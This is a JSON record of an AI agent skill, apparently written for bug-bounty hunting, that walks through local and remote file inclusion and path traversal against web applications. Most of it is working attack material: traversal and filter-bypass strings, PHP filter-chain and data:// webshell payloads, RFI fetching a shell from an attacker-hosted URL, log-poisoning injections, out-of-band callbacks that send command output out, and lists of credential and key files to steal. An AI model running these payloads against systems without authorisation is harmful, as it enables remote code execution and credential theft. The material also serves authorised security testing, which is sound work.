{"id":"hunt-lfi","name":"hunt-lfi","summary":"ローカルファイル包含(LFI)、リモートファイル包含(RFI)、パストラバーサル — /etc/passwd読み取り、ログポイズニング→RCE、PHPフィルターチェーンRCE(アップロード不要)、php:///data:///zip:///phar:// ラッパー、allow_url_include経由のRFI、ディ…","body":"# HUNT-LFI — Local / Remote File Inclusion & Path Traversal\n\n## Crown Jewel Targets\n\nLFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files.\n\n**Highest-value chains (in rough order of reliability in 2026):**\n- **PHP filter-chain → RCE** — the modern default. A bare `php://filter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.\n- **Log poisoning → RCE** — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first.\n- **PHP wrappers → source disclosure** — `php://filter/convert.base64-encode/resource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path.\n- **RFI → RCE** — when `allow_url_include=On`, `?file=http://OOB/shell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present.\n- **phar:// deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.\n- **zip:// / data:// chains** and **session/upload poisoning** when filters block wrappers.\n\n---\n\n## OOB / Blind-LFI Confirmation Gate (Read First)\n\nLFI is frequently **blind**: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do **not** claim LFI from indirect signals alone.\n\n### What is NOT confirmation\n- A different status code or error string for `../../etc/passwd` vs a normal value. The app may be string-matching `../` and returning a canned 403/500 without ever touching the filesystem.\n- Your input **echoed back** inside an error message (e.g. `failed to open '/var/www/../../etc/passwd'`). That is the path *formatter*, not proof the file was read. A genuine read shows file **contents**, not your path.\n- A page that \"looks different.\" Reflected-input or WAF block pages produce diffs unrelated to a real read.\n\n### What IS confirmation\n- **Direct read:** actual file *contents* appear (real `root:x:0:0:` line, real PHP source after base64-decoding the filter output).\n- **Blind read via OOB exfil:** use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your **Burp Collaborator** subdomain, or use an `expect://` / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran.\n- **Blind read via differential/timing:** include a file you *know* exists and is large (`/etc/passwd`) vs one that does not (`/etc/passwd_nope_<rand>`). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.\n\n### Default workflow\n1. Pick a **unique marker** target: prefer a file whose content you can fingerprint exactly (`/etc/passwd` → grep `^root:`). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source.\n2. Generate a sub-tagged Collaborator payload per sink (`lfi-page.<collab>`, `lfi-tpl.<collab>`) so callbacks identify which parameter fired.\n3. Send, wait 30–120s, poll OOB.\n4. Claim LFI **only** after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted.\n\n---\n\n## Attack Surface Signals\n\n### URL / Body Parameters\n```\n?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=\n?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=\n?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=\nJSON bodies: {\"filename\":...} {\"template\":...} {\"path\":...}\n```\n\n### Technology Stack Signals\n| Signal | Vector |\n|--------|--------|\n| PHP (`X-Powered-By`, `.php`, PHPSESSID) | php:// filter-chain RCE, phar://, zip://, data:// |\n| Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) |\n| Apache 2.4.49 / 2.4.50 (`Server:` banner) | CVE-2021-41773 / CVE-2021-42013 traversal → RCE |\n| PHP-CGI on Windows (XAMPP, `php-cgi.exe`) | CVE-2024-4577 arg-injection → RCE |\n| Java servlet (`/WEB-INF/`) | `WEB-INF/web.xml`, `classes/`, `application.properties` |\n| Python Flask/Django | `/proc/self/environ`, `settings.py`, `SECRET_KEY` |\n| Node.js file-serve / `res.sendFile`, `express.static` | path-traversal read, `require()` traversal |\n| Windows IIS / .NET | `..\\..\\web.config`, `C:\\Windows\\win.ini`, machineKey |\n\n---\n\n## Step-by-Step Methodology\n\n### Phase 1 — Identify Candidates\n```bash\ncat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt\ngrep -E \"(\\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=\" \\\n  recon/$TARGET/urls.txt\nffuf -u \"https://$TARGET/FUZZ\" -w ~/wordlists/lfi-paths.txt -mc 200,301,302\n```\n\n### Phase 2 — Path Traversal (read)\n```bash\n?file=../../../etc/passwd\n?file=....//....//....//etc/passwd            # ../ stripping once → ....// survives\n?file=..%2f..%2f..%2fetc%2fpasswd             # single URL-encode\n?file=..%252f..%252f..%252fetc%252fpasswd     # double encode (decoded twice server-side)\n?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd          # encode dots too\n?file=/etc/passwd%00.png                      # null byte — PHP < 5.3.4 only\n?file=....\\/....\\/etc\\/passwd                  # mixed slash\n# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix\n# UTF-8 overlong: %c0%ae%c0%ae%2f  (legacy servers)\n```\n```bash\n# Windows\n?file=..\\..\\..\\windows\\win.ini\n?file=..%5c..%5c..%5cwindows%5cwin.ini\n?file=C:\\inetpub\\wwwroot\\web.config\n```\n\n### Phase 3 — PHP Wrappers (source disclosure)\n```bash\n?file=php://filter/convert.base64-encode/resource=index.php   # decode base64 → source\n?file=php://filter/read=string.rot13/resource=config.php\n?file=php://filter/convert.base64-encode/resource=../app/Config.php\n# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.\n```\n\n### Phase 4 — PHP Filter-Chain → RCE (no upload, no writable file)\nThe modern flagship technique (Synacktiv, 2022). If you have a `php://`-capable LFI that *reads* a file, you can also *execute* attacker-chosen PHP. `iconv` charset conversions, chained inside `php://filter`, emit controlled bytes that prepend to the resource until a full `<?php ... ?>` payload is forged — then `include()` runs it. **No upload endpoint, no log access, no writable path required.**\n\n```bash\n# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):\n#   git clone https://github.com/synacktiv/php_filter_chain_generator\npython3 php_filter_chain_generator.py --chain '<?php system($_GET[\"c\"]); ?>'\n# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.\n# Drop it into the sink:\n?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id\n```\nNotes / gotchas:\n- Requires the include sink to accept the `php://filter` scheme (most LFI sinks calling `include`/`require`/`file_get_contents` on the param do).\n- Payloads get **long** (10–50KB). If the param is length-capped or WAF-blocked on size, move it to a POST body, or use a minimal payload (`<?=`shorthand`?>`).\n- For blind targets, set the chain payload to a Collaborator callback (`<?php file_get_contents(\"http://x.<collab>/\".`id`);?>`) to confirm execution OOB.\n- This works even when log poisoning fails (unreadable logs, `open_basedir`). Try it whenever you have a php:// filter read.\n\n### Phase 5 — Code-Execution Wrappers (config prerequisites)\n```bash\n# data:// — executes inline; REQUIRES allow_url_include=On\n?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id   # <?php system($_GET['c']);?>\n\n# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On\n#   POST ?file=php://input    body: <?php system($_GET['c']); ?>\n#   (Same prerequisite as data://. Do NOT assume this works on default PHP config.)\n\n# expect:// — direct command exec; requires the (rare) expect extension loaded\n?file=expect://id\n```\n\n### Phase 6 — Remote File Inclusion (RFI)\nRFI = the include target is a **remote URL**. Prerequisite: `allow_url_include=On` (and `allow_url_fopen=On`). Off by default on modern PHP, but still seen on legacy/misconfigured hosts.\n```bash\n# Host a payload you control, then:\n?file=http://OOB-HOST/shell.txt          # shell.txt contains <?php system($_GET['c']); ?>\n?file=https://OOB-HOST/shell.txt?\n?file=ftp://OOB-HOST/shell.txt\n# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the\n# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.\n# Bypass appended extension (?file=$x.\".php\"): trailing ? or # to truncate, or ?file=http://OOB/shell\n```\n\n### Phase 7 — Log Poisoning → RCE\n```bash\n# Step 1: inject PHP into a log the include can read\ncurl -s \"https://$TARGET/\" -H \"User-Agent: <?php system(\\$_GET['c']); ?>\"\n# Step 2: include it (verify the log is readable first — read it plain before poisoning)\n?file=../../../var/log/apache2/access.log&c=id\n?file=../../../var/log/nginx/access.log&c=id\n?file=/proc/self/fd/0&c=id                  # stdin fd (varies)\n# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log\n#   /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ\n```\n\n### Phase 8 — Session / Upload Poisoning\n```bash\n# PHP session: set payload in a stored field (username/profile), then include the session file\n?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id\n?file=/tmp/sess_<PHPSESSID>&c=id\n# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):\n?file=phar:///var/www/uploads/evil.jpg     # JPEG magic bytes prepended to a PHAR\n# zip:// — archive containing the target, or a symlink to /etc/passwd\n?file=zip:///var/www/uploads/a.zip%23path/inside.txt\n```\n\n### Phase 9 — Automation (then manual-confirm everything)\n```bash\nffuf -u \"https://$TARGET/page.php?file=FUZZ\" -w ~/wordlists/lfi.txt -mc all -fr \"not found\"\nwfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \\\n  \"https://$TARGET/page.php?file=FUZZ\"\ndotdotpwn -m http -h $TARGET -o unix\n# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.\n```\n\n---\n\n## Named CVEs / Public Techniques (grounding)\n\nVerified, correctly-attributed references for the patterns above:\n- **PHP filter-chain to RCE** — Synacktiv research (2022); `php_filter_chain_generator`. Not a CVE; an abuse of documented `iconv` behaviour. The reason a bare file-read upgrades to Critical.\n- **CVE-2021-41773** — Apache HTTP Server 2.4.49 path traversal (`%2e` in normalized path) → file read, and RCE when `mod_cgi` is enabled.\n- **CVE-2021-42013** — Apache HTTP Server 2.4.50 incomplete fix for the above (double-encoded `%%32%65`) → traversal/RCE.\n- **CVE-2024-4577** — PHP-CGI argument injection on Windows (Best-Fit encoding); reachable on XAMPP-style stacks, chains from file-serve to RCE.\n\n> Grounding note: this skill is built from 31 disclosed LFI/path-traversal reports. When citing a specific HackerOne report in your write-up, link the exact report URL/ID you used — do **not** paraphrase a report ID from memory. A wrong ID is worse than none.\n\n---\n\n## Sensitive Files to Read\n```\n# Linux\n/etc/passwd  /etc/hosts  /etc/shadow (rarely readable)\n/proc/self/environ  /proc/self/cmdline  /proc/self/status\n/var/www/html/.env  /var/www/html/config.php  /var/www/html/wp-config.php\n/home/*/.ssh/id_rsa  /root/.ssh/id_rsa  /root/.bash_history\n/var/www/html/app/config/parameters.yml   # Symfony\n.git/config  .git/HEAD  composer.json  package.json\n# App / cloud secrets\n/proc/self/environ  ~/.aws/credentials  ~/.docker/config.json  /run/secrets/*\n# Windows / .NET\nC:\\Windows\\win.ini  C:\\inetpub\\wwwroot\\web.config  ..\\..\\web.config\nC:\\Windows\\System32\\inetsrv\\config\\applicationHost.config\n```\n\n---\n\n## Bypass Table\n\n| Filter | Bypass |\n|--------|--------|\n| Strips `../` once | `....//` or `..../\\` (re-forms `../` after strip) |\n| URL-decodes once | `%252f` (double-encode `/`), `%252e` for dots |\n| Decodes once, blocks `..` | Encode dots: `%2e%2e%2f` / overlong `%c0%ae` (legacy) |\n| Appends `.php` to input | `?` or `#` truncation; null byte `%00` (PHP < 5.3.4) |\n| Blocks `php://` scheme | try `PHP://`, `pHp://`, or `data://` / `expect://` |\n| Prepends fixed base dir | enough `../` to escape; or absolute path if no base prepend |\n| Blocks `/etc/passwd` literal | path-truncation, `/etc/./passwd`, `/etc//passwd` |\n| WAF on long filter-chains | move chain to POST body / minimize payload |\n| Windows | `..\\..\\..\\windows\\win.ini`, `..%5c..%5c` |\n\n---\n\n## Chain Table\n\n| LFI primitive | Chain to | Impact |\n|---------------|----------|--------|\n| `php://filter` read | **filter-chain RCE (Phase 4)** | RCE with no upload — **Critical** |\n| File read | `.env` / `config.php` / `wp-config.php` | DB creds, API keys → backend takeover |\n| File read | `/proc/self/environ`, `~/.aws/credentials` | env secrets, cloud keys → SSRF/IAM pivot |\n| Remote URL include | RFI (`allow_url_include`) | direct RCE — **Critical** |\n| File read + upload | phar:// / log / session poison | RCE — **Critical** |\n| Source disclosure | full app source | hardcoded secrets, new sinks, machineKey |\n\n---\n\n## Validation Discipline\n\n**Direct-read proof (not a false positive):**\n- Show real *contents*, not your echoed path. `/etc/passwd` must contain a literal `root:x:0:0:root:/root:` line. Diff the response against a known-good param value — the delta must be the file body, not a WAF/error page.\n- For source reads, the **base64 must decode to valid PHP**. A garbage/empty decode = no real read.\n- Rule out reflection: confirm the marker text is not simply your input bounced back. Request `/etc/passwd` and `/etc/passwd_<rand>` (non-existent) — only the real file returns content.\n\n**Blind / OOB proof:**\n- No reflection? Use a php://filter-chain or RFI payload that calls back to a **unique Burp Collaborator subdomain**. Require a DNS + HTTP hit with the server's source IP before claiming the include executed. Sub-tag per sink.\n- Timing/length blind: triple-confirm a stable delta (known-large file vs missing file vs second known file). One-off deltas are noise — retract.\n\n**Partial / truncated reads:**\n- Templating may HTML-escape or cut the file. Use `php://filter/convert.base64-encode` so even a truncated read decodes to recognizable bytes; report exactly what you recovered, not what you assume is there.\n\n**RCE proof:** show command output you control — `id` / `whoami` / `hostname` reflected, or an OOB callback from inside the executed payload (`curl http://<collab>/`). \"The payload was accepted\" is not RCE.\n\n**Severity:**\n- Non-sensitive file read: **Medium**\n- File read exposing DB creds / API keys / private keys / cloud creds: **High**\n- RCE via filter-chain / RFI / log / session / phar / CVE: **Critical**","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-lfi","license":"MIT","category":"writing","lang":"en","tokens":4271,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}